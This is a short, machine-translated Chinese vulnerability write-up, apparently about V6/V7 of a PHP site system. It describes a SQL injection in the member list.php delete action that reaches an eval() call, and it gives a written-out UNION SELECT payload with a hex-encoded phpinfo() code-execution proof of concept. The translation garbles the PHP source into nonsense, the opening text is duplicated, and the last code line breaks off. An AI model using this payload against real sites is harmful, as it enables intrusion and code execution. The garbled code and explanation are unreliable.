评论：只是搜索过去的瑕疵看起来是个问题，一些鸡肋需要条件：
1。站点被配置为生成真正的静态。
2。允许注册会员
V6的测试代码，提交后，phpinfo（），和V7的原理是一样的，但是数据库字段的数目是不同的。
成员列表。phpstep = 2type = deleteaiddb {





这是一个问题，只是看起来像过去的缺陷。一些鸡肋需要条件：

1。站点被配置为生成真正的静态。

2。允许注册会员

V6的测试代码，提交后，phpinfo（），和V7的原理是一样的，但是数据库字段的数目是不同的。

成员列表。phpstep = 2type = deleteaiddb { } = - 1）% % % 20union 20select 201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7b247b706870696e666f28297d7d，6、7 % 23。

的0x01漏洞是在make_more_article_html功能：

功能make_more_article_html（$ comebackurl =/，类型为美元美元，aiddb =）{

全球美元美元美元DB，前，新的新的showhtml_type美元美元；

如果（合新newsmakehtml } {！= 1美元| | aiddb = = ''） / /美元newsmakehtml WebDB { }静态

{返回；}

…

查询=美元美元DB ->查询（选择A *，b.bencandy_html，b.list_html，d.aid从{ $预} article_db D左D

而（RS =美元美元（美元fetch_array DB ->查询））{

…

filename_b美元=美元bencandy_html RS { }；

…

eval（ showurl美元= $ filename_b ；）；

…

0x02调用漏洞功能 list.php成员：

如果（$ = 2）{

…

如果（合型= = 'delete）{

make_more_article_html（$ fromurl

按：k4shifz {市万顺通}